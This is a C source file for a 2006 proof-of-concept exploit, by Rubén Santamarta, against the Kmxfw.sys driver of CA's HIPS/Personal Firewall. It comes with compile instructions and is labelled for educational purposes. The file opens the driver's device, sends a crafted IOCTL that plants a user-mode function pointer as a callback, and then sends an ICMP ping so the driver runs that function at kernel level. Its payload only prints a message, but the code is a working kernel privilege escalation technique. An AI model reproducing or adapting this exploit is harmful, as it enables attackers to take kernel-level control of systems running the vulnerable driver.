////////////////////////////////////
///// CA HIPS Engine Drivers
////////////////////////////////////
//// Kmxfw.sys
//// Kernel Privilege Escalation #2
//// Exploit
//// Rubén Santamarta 
//// www.reversemode.com
//// 15/10/2006
//// ONLY FOR EDUCATION PURPOSES
//// NO MODIFICATION ALLOWED.
////////////////////////////////////
/////////////////////
/// Compiling:
/// gcc exploit.c -o exploit -lwsock32
/////////////////////


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <iphlpapi.h>


typedef HANDLE (WINAPI *PIcmpCreateFile)();
typedef DWORD (WINAPI *PIcmpSendEcho2)(   HANDLE IcmpHandle,
                                          HANDLE Event,
                                          FARPROC ApcRoutine,
                                          PVOID ApcContext,
                                          IPAddr DestinationAddress,
                                          LPVOID RequestData,
                                          WORD RequestSize,
                                          PIP_OPTION_INFORMATION RequestOptions,
                                          LPVOID ReplyBuffer,
                                          DWORD ReplySize,
                                          DWORD Timeout);

VOID Ring0Function()
{

 printf("\n");
 printf("-----[RING0]------");
 printf("\n");
 printf("[*] Message: [.oO Hello From Ring0! Oo.]\n");
 printf("[!] Exploit Terminated\n");
 printf("-----[RING0]------");
 Sleep(50000);
}

VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}

int main(int argc, char *argv[])
{

 DWORD				*OutBuff,*InBuff;
 DWORD              CallBacks[4];			
 DWORD				dwIOCTL,OutSize,InSize,junk,i,dwRetVal;
 HANDLE				hDevice;
 PIcmpSendEcho2     IcmpSendEcho2;
 PIcmpCreateFile    IcmpCreateFile;
 LPVOID             ReplyBuffer;
 HANDLE             hIcmpFile;
 char               *SendData = "owned!";


  
 if(argc<2)
 {
  printf("\nusage> exploit.exe  2K or XP\n");
  exit(1);
 }

 if(!strcmp(argv[1],"2K")) 
 {
  IcmpSendEcho2 = (PIcmpSendEcho2)GetProcAddress(LoadLibrary("icmp.dll")
													,"IcmpSendEcho2");
  IcmpCreateFile = (PIcmpCreateFile)GetProcAddress(LoadLibrary("icmp.dll")
                                                  ,"IcmpCreateFile");
 }                          
 else                        
{
  IcmpSendEcho2 = (PIcmpSendEcho2)GetProcAddress(LoadLibrary("iphlpapi.dll")
													,"IcmpSendEcho2");
  IcmpCreateFile = (PIcmpCreateFile)GetProcAddress(LoadLibrary("iphlpapi.dll")
                                                 ,"IcmpCreateFile");
}
 
system("cls");
printf("############################\n");
printf("### CA Personal Firewall ###\n");
printf("##### - Ring0 Exploit - ####\n");
printf("############################\n");
printf("Ruben Santamarta\nwww.reversemode.com\n\n");
//////////////////////
///// CASE 'DosDevice'
//////////////////////

hDevice = CreateFile("\\\\.\\Kmxfw",
                     0,
                     0,
                     NULL,
                     3,
                     0,
                     0);

//////////////////////
///// INFO 
//////////////////////

 if (hDevice == INVALID_HANDLE_VALUE) ShowError();
 printf("[!] Kmxfw Device Handle [%x]\n",hDevice);
 
//////////////////////
///// BUFFERS
//////////////////////
 OutSize = 0x44;

 OutBuff = (DWORD *)malloc(OutSize);
 //////////////////////
 ///// IOCTL
 //////////////////////

 dwIOCTL = 0x85000014;
 printf("[!] Injecting Malicious Callback\n",dwIOCTL);
 CallBacks[0]=0;
 CallBacks[1]=(DWORD)Ring0Function;
 CallBacks[2]=0;
 
 OutBuff[0]=(DWORD)CallBacks;
 OutBuff[1]=(DWORD)CallBacks;
 OutBuff[2]=(DWORD)CallBacks;
 
 
 DeviceIoControl(hDevice, 
                 dwIOCTL, 
                 (LPVOID)OutBuff,0x10,
                 (LPVOID)OutBuff,0x44,
                 &junk,  
                 NULL);
 
 printf("[!] Pinging google\n\t->Executing Ring0 Function\n");
 hIcmpFile=IcmpCreateFile();
 ReplyBuffer = (VOID*) malloc(sizeof(ICMP_ECHO_REPLY) + sizeof(SendData));
 IcmpSendEcho2(hIcmpFile,
                    NULL,
                    NULL,
                    NULL,
                    inet_addr("66.102.9.99"), 
                    SendData, 
                    sizeof(SendData),
                    NULL,
                    ReplyBuffer, 
                    8*sizeof(SendData) + sizeof(ICMP_ECHO_REPLY),
                    1000);

 
}